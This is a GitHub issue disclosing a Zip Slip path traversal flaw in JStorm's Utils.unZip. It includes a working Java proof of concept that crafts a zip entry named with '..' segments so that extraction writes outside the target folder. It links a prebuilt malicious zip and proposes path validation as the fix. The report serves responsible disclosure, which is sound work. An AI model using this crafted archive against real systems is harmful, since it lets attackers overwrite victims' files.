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Path Traversal when unzip zip file #685

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PoppingSnack opened this issue May 11, 2023 · 0 comments
Open

Path Traversal when unzip zip file #685

PoppingSnack opened this issue May 11, 2023 · 0 comments

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@PoppingSnack
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Description

In the method "unZip" (line 1321) of the file

public static void unZip(File inFile, File unzipDir) throws IOException {
, it is possible to input malicious zip files, which can result in the high-risk files after decompression being stored in any location, even leading to file overwrite and other situations.

Proof of Concept

Use the following zip() method to create a zip file from a txt file, and the name of the compressed file will be renamed to "....\a\b\c\poc.txt". (You should create this path firstly)
Then call the Utils.unZip() method, originally intended to unzip the file to "D:\project\TestProject\ICFuzzTest\testData\unzip", but it will eventually be extracted to its another directory "D:\project\TestProject\ICFuzzTest\a\b\c\poc.txt".
This may cause the original file to be overwritten by a high-risk file.

import backtype.storm.utils.Utils;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

/**
 * 在Jstorm中存在unZip方法,可能有路径穿越的问题
 */
public class Jstorm {

//https://github.com/alibaba/jstorm/blob/5d6cde22dbca7df3d6e6830bf94f98a6639ab559/jstorm-core/src/main/java/backtype/storm/utils/Utils.java#L1321
    public static void main(String[] args) throws IOException {
        zip();  // create a poc

        String zipFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip";
        String destination = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip";
        Utils.unZip(new File(zipFile), new File(destination));
    }

    // create a poc
    public static void zip() {
        ZipOutputStream zos = null;
        try {
            zos = new ZipOutputStream(new FileOutputStream(
                    "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.zip"));
            String srcFile = "..\\..\\a\\b\\c\\poc.txt";  // the next filePath
            String destFile = "D:\\project\\TestProject\\ICFuzzTest\\testData\\unzip\\poc.txt";
            zos.putNextEntry(new ZipEntry(srcFile));
            FileInputStream in = new FileInputStream(destFile);
            int len;
            byte[] buf = new byte[1024];
            while ((len = in.read(buf)) != -1) {
                zos.write(buf, 0, len);
            }
            zos.closeEntry();
            in.close();
        } catch (Exception e) {
            throw new RuntimeException("zip error from ZipUtils", e);
        } finally {
            if (zos != null) {
                try {
                    zos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

The following is the constructed zip file:

https://github.com/Zlase0820/VulnData/blob/main/src.main/data/poc.zip

Suggestion

I think we can add a simple verification check on the path to avoid this issue. We can refer to other verification methods for unzip under Apache, such as:

https://github.com/apache/druid/blob/master/processing/src/main/java/org/apache/druid/utils/CompressionUtils.java#L242

He has the same error,and fixed in CVE-2023-27603.

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